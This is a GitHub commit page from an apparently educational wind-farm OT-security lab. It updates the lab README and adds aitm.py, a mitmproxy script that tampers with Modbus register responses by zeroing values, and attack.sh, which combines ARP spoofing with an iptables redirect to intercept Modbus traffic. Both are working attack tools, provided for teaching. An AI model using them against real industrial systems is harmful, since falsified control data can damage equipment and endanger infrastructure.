Skip to content

Commit

Permalink
updated: new readme and configs for connecting the wind turbine to wi…
Browse files Browse the repository at this point in the history
…nd farm
  • Loading branch information
dnkcom committed Nov 12, 2024
1 parent 0167de6 commit 3809730
Show file tree
Hide file tree
Showing 3 changed files with 67 additions and 79 deletions.
85 changes: 6 additions & 79 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,101 +1,28 @@
# Branches

* [branch-00](#model-familiarity-and-initial-analysis-branch-00)
* [branch-00](#previous-wind-turbine-branch-00)
* [branch-01](#connecting-your-turbine-to-the-wind-farm-branch-01)

# Model Familiarity and Initial Analysis (branch-00)
# Previous wind turbine (branch-00)

In this branch, you will confirm access to:
Re-familiarize yourself with the wind turbine from the last lab. Recall, it has an adversary container and a Grafana container for ground truth.

* Grafana dashboard and Node-RED HMI
* Wireshark container desktop
* VS Code configuration files
In the next branch, you will set up this wind turbine in a larger wind farm. Change the two `{{FIX_ME}}` entries in the URL below with the values provided by your instructor. Then, start the next branch.

## Steps

1. Ensure all containers are running in the Gitpod workspace (_9_ containers).
2. Navigate to the public ports exposed by Gitpod for Grafana and Node-RED HMI.
* Copy the links provided on the Ports tab for Grafana and HMI to open separate browser tabs.
* For Node-RED HMI, use the primary URL and add `/ui` to the path.
* For Grafana, go to Dashboards > General > Turbine.
3. Navigate to the public port exposed by Gitpod for the `wireshark` container.
* Use the primary URL and add `/vnc.html` to the path.
* Copy the provided links on the Ports tab for Wireshark to open a separate browser tab.
* Click the `Connect` button in the NoVNC dialogue.
* If Wireshark is not running, start it from the desktop.
* Capture traffic on an interface starting with `br-`.
4. Locate the relevant configuration files in the `configs/ot-sim` directory.

## After completing the above steps, you should work to:

* Describe the system’s architecture.
* Are you able to describe what the containers are functioning as in context of a larger wind turbine system?
* Identify main communication patterns, particularly Modbus.
* Who is talking the loudest and the most?
* Who are they talking to?
* What else stands out to you in the communications between containers?
* Determine the controller’s responsibilities.
* Are you able to determine what the controller is responsible for in the overall context of the system?

## The following are available to you to assist in the above data gathering:

* Traffic analysis tools (the Wireshark container)
* Initial configuration files

> There will be a Q&A session at the module’s end. Stop the current Gitpod workspace and deploy the next branch in Gitpod using this URL: https://gitpod.io/HOSTNAME={{FIX_ME}},OTSIM_TAILSCALE_AUTHKEY=tskey-auth-{{FIX_ME}}/https://github.com/patsec/uiuc-farm/tree/branch-01
> There will be a Q&A session at the module’s end. Stop the current Gitpod workspace and deploy the next branch in Gitpod using this URL: https://gitpod.io/HOSTNAME={{FIX_ME}},OTSIM_TAILSCALE_AUTHKEY=tskey-auth-{{FIX_ME}}/https://github.com/patsec/uiuc-farm/tree/branch-01
# Connecting Your Turbine to the Wind Farm (branch-01)

In this branch:

* You will confirm access to the lab’s wind farm.
* You will also conduct protocol and wind controller analysis.

## Steps for connecting to the wind farm

1. Ensure all containers are running in the Gitpod workspace.
2. Confirm with the lab instructor that your wind turbine is connected to the farm.
3. Feather the turbine blades and confirm with the instructor that they are visible.

## Protocol and wind controller analysis.

### Answers for branch-00

> This branch uses accurate names for the controller containers.
* Six controllers manage turbine operations:
* The loudest, `main-controller`, monitors and controls the system based on weather data.
* Quietest, `blade` containers, three of them, adjust blade pitch (feathered or not) to optimize performance.
* The `main-controller` uses Modbus protocol with assigned values to communicate with other controllers.
* Grafana turbine dashboard and Node-RED HMI provide visual reports on weather data and turbine operation.
* Configuration files are for:
* `alpine-eclipse.yml`: yaw controller, which monitors and sets yaw.
* `crazy-trader.yml`, `odd-prodigy.yml`, `wavy-bird.yml`: blade controllers, change blade pitch.
* `exalted-bear.yml`: anemometer controller, ingests weather data and publishes live updates.
* `low-patriot.yml`: main controller, adjusts blades and yaw based on other controllers’ data.
* As wind speed, temperature, pressure, and feather values change, power generation is calculated and simulated.

> Each controller generates HTTP traffic to the OpenSearch container in addition to Modbus traffic. This provides ground truth data for the Grafana turbine dashboard, separate from the Modbus data used by the Node-RED UI.
### Protocol analysis

* Modbus protocol usage: A helpful [Modbus](https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf) protocol read ahead.
* Wind turbine controller logic: The DOE provides a basic overview of [wind turbine](https://www.energy.gov/eere/wind/how-wind-turbine-works-text-version) operations.

### Steps

1. If you have not already done so, deploy a new Gitpod workspace for this branch using this URL: https://gitpod.io/HOSTNAME={{FIX_ME}},OTSIM_TAILSCALE_AUTHKEY=tskey-auth-{{FIX_ME}}/https://github.com/patsec/uiuc-farm/tree/branch-01
2. Navigate to the public port exposed by Gitpod for the `wireshark` container.
* Use the primary URL and add `/vnc.html` to the path.
* Copy the provided links on the Ports tab for Wireshark to open a separate browser tab.
* Click the `Connect` button in the NoVNC dialogue.
* If Wireshark is not running, start it from the desktop.
* Capture traffic on an interface starting with `br-`.
3. Review the logic in the `configs/ot-sim/main-ctlr.xml` and `configs/ot-sim/yaw-ctlr.xml` configuration files.

### After completing the above steps, you should work to:

* Identify Modbus register types, addresses, and packet information.
* Describe values sent for registers and logic in main and yaw controllers.
Use the `{{FIX_ME}}` values from the previous branch in the URL below. Then, start the next branch.

> There will be a Q&A session at the module’s end. Stop the current Gitpod workspace and deploy the next branch in Gitpod using this URL: https://gitpod.io/HOSTNAME={{FIX_ME}},OTSIM_TAILSCALE_AUTHKEY=tskey-auth-{{FIX_ME}}/https://github.com/patsec/uiuc-farm/tree/branch-02
50 changes: 50 additions & 0 deletions scripts/aitm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import struct

from mitmproxy import tcp

# mitm[proxy|dump] runs this for every raw TCP packet it receives.
def tcp_message(flow: tcp.TCPFlow):
# most recent message
latest = flow.messages[-1]

# is this a request or a response?
req = latest.from_client
# message body (use bytearray so we can modify it)
msg = bytearray(latest.content)

# make sure there's enough data to unpack the Modbus ADU/PDU
if len(msg) > 8:
tid, pid, length, uid, fc = struct.unpack(">HHHBB", msg[:8])
# ADU is always 7; last bit is length of rest of packet, including
# itself, so we end up subtracting one from the length to get end of
# packet.
end = 7 + length - 1

# start at 8 since we grabbed function code above
data = msg[8:end]

print(f'TID: {tid}')
print(f'PID: {pid}')
print(f'LEN: {length}')
print(f'UID: {uid}')
print(f'FC: {fc}')
print(f'DAT: {data}')

if not req:
# read input register, so we know what response should look like;
# count of values, then actual values (2 bits each).
if fc == 4:
count = int(msg[8])

start = 9
end = start + count

while start < end:
value, = struct.unpack(">H", msg[start:start+2])
print(f'VALUE: {int(value)}')

start += 2 # each value is 2 bits each

# replace values with 0
msg[9:end] = bytearray(b'\x00' * count)
flow.messages[-1].content = msg
11 changes: 11 additions & 0 deletions scripts/attack.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#!/bin/bash

tmux new-session -d -s hack
tmux send 'iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 502 -j REDIRECT --to-port 9090' ENTER
tmux send 'mitmdump -p 9090 -m transparent -s /root/aitm.py' ENTER
tmux split-window -h
tmux send 'arpspoof -t 10.11.12.100 10.11.12.102' ENTER
tmux split-window
tmux send 'arpspoof -t 10.11.12.102 10.11.12.100' ENTER

tmux attach

0 comments on commit 3809730

Please sign in to comment.